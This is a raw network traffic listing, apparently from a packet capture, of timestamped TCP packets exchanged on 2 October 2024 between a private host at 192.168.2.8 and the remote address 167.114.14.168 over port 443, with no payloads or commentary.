Oct 2, 2024 06:11:37.987653017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.987669945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.987750053 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:37.987755060 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:37.987802029 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.031100988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.031119108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.031179905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.031187057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.031222105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.031240940 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.071804047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.071824074 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.071875095 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.071882963 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.071918964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.071945906 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.072211027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.072227001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.072278023 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.072283983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.072309017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.072369099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.072640896 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.072659016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.072709084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.072715044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.072762966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.073245049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.073266983 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.073306084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.073312998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.073342085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.073354959 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.074197054 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.074228048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.074263096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.074269056 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.074302912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.074327946 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.075433016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.075450897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.075498104 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.075504065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.075544119 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.078378916 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.078402996 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.078457117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.078464031 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.078494072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.078512907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.121838093 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.121856928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.121926069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.121947050 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.121995926 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.162564993 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.162583113 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.162663937 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.162674904 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.162723064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.162934065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.162950039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.163012028 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.163017988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.163053036 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.163075924 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.163415909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.163431883 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.163619041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.163625002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.163902998 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.163945913 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.163961887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.164002895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.164009094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.164042950 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.164061069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.164982080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.164998055 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.165074110 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.165080070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.165122032 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.166043043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.166059017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.166115046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.166121006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.166173935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.169001102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.169070005 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.169131994 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.169137955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.169178009 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.169222116 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.212548971 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.212568998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.212630987 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.212641001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.212694883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.253273964 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.253293037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.253341913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.253349066 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.253384113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.253401041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.253734112 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.253751040 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.253808975 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.253817081 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.253843069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.253859997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.254172087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.254195929 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.254249096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.254257917 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.254281044 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.254303932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.254611015 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.254637003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.254687071 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.254693985 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.254746914 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.255795002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.255814075 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.255883932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.255888939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.255911112 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.255987883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.256700039 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.256716013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.256810904 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.256817102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.256863117 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.259578943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.259620905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.259699106 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.259705067 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.259759903 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.303097010 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.303117037 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.303157091 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.303163052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.303195000 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.303216934 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.343977928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.343996048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.344058990 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.344065905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.344093084 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.344106913 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.344433069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.344480991 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.344496012 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.344501019 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.344531059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.344552040 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.344929934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.344944954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.345000982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.345005035 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.345035076 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.345053911 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.345454931 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.345484018 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.345515966 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.345520973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.345551014 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.345571041 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.346549988 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.346565962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.346613884 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.346620083 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.346661091 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.347291946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.347306013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.347362995 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.347369909 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.347410917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.350497007 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.350512981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.350572109 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.350577116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.350619078 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.394068003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.394090891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.394180059 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.394192934 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.394201994 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.394243956 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.435096025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.435116053 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.435193062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.435209990 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.435337067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.435594082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.435616016 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.435676098 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.435682058 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.435736895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.435913086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.435928106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.436028957 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.436036110 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.436073065 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.436508894 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.436525106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.436570883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.436575890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.436606884 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.436625004 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.437252045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.437267065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.437325954 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.437331915 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.437376022 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.437979937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.437994957 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.438054085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.438060045 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.438100100 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.441168070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.441184044 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.441229105 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.441236973 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.441271067 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.441289902 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.484739065 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.484772921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.484818935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.484828949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.484872103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.526267052 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.526310921 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.526333094 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.526340008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.526401997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.526570082 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.526585102 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.526627064 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.526632071 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.526681900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.526681900 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.526973009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.526989937 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.527055025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.527066946 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.527266979 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.527285099 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.527309895 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.527313948 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.527360916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.527920008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.527946949 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.527977943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.527981997 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.528019905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.528038025 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.528618097 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.528635025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.528700113 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.528707027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.528750896 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.531949043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.531965017 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.532021999 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.532027960 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.532063007 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.575603962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.575620890 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.575685978 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.575692892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.575730085 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.616503954 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.616532087 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.616605043 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.616611004 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.616672039 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.616959095 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.616976023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.617041111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.617048025 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.617096901 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.617459059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.617474079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.617532969 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.617537975 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.617564917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.617585897 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.621855021 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.621870995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.621927977 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.621934891 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.622104883 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.622276068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.622291088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.622339964 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.622347116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.622401953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.622751951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.622766972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.622824907 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.622829914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.622869015 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.623061895 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.623078108 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.623112917 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.623119116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.623146057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.623158932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.627425909 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.666316986 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.666337013 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.666384935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.666392088 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.666438103 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.717313051 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.717330933 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.717402935 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.717411995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.717475891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.717739105 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.717753887 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.717802048 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.717808008 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.718028069 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.718194962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.718210936 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.718267918 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.718274117 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.718331099 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:38.726202965 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.726218939 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:38.726284027 CEST	49723	443	192.168.2.8	167.114.14.168
